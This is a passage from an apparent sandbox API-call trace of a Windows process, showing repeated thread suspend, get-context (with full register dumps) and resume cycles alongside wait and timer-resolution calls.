[47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0245.882] ResumeThread (hThread=0x120) returned 0x1
	[0245.882] CloseHandle (hObject=0x120) returned 1
	[0245.883] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.949] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0245.990] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1a8) returned 1
	[0245.990] SuspendThread (hThread=0x1a8) returned 0x0
	[0245.990] GetThreadContext (in: hThread=0x1a8, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70709ff628, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0246.027] ResumeThread (hThread=0x1a8) returned 0x1
	[0246.027] CloseHandle (hObject=0x1a8) returned 1
	[0246.027] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0246.064] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0246.115] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x1ac) returned 1
	[0246.115] SuspendThread (hThread=0x1ac) returned 0x0
	[0246.115] GetThreadContext (in: hThread=0x1ac, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70709ff638, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0246.152] ResumeThread (hThread=0x1ac) returned 0x1
	[0246.152] CloseHandle (hObject=0x1ac) returned 1
	[0246.152] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0246.280] SetEvent (hEvent=0xf0) returned 1
	[0246.280] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0246.324] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x120) returned 1
	[0246.324] SuspendThread (hThread=0x120) returned 0x0
	[0246.324] GetThreadContext (in: hThread=0x120, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70709ff8a8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5424, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0246.383] ResumeThread (hThread=0x120) returned 0x1
	[0246.383] CloseHandle (hObject=0x120) returned 1
	[0246.383] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70701ff8e8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70701ff8e8*=0x120) returned 1
	[0246.383] SuspendThread (hThread=0x120) returned 0x0
	[0246.383] GetThreadContext (in: hThread=0x120, lpContext=0x70701ff900 | out: lpContext=0x70701ff900*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70703ff418, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5c64, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0246.419] ResumeThread (hThread=0x120) returned 0x1
	[0246.419] CloseHandle (hObject=0x120) returned 1
	[0246.419] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x70701ffe30) returned 0x102
	[0246.447] SwitchToThread () returned 1
	[0246.450] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0
	[0246.461] SetEvent (hEvent=0x1a0) returned 1
	[0246.461] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0246.461] WaitForMultipleObjects (nCount=0x2, lpHandles=0x70701ffdb8*=0x124, bWaitAll=0, dwMilliseconds=0x170) returned 0x0
	[0246.482] timeBeginPeriod (uPeriod=0x1) returned 0x0
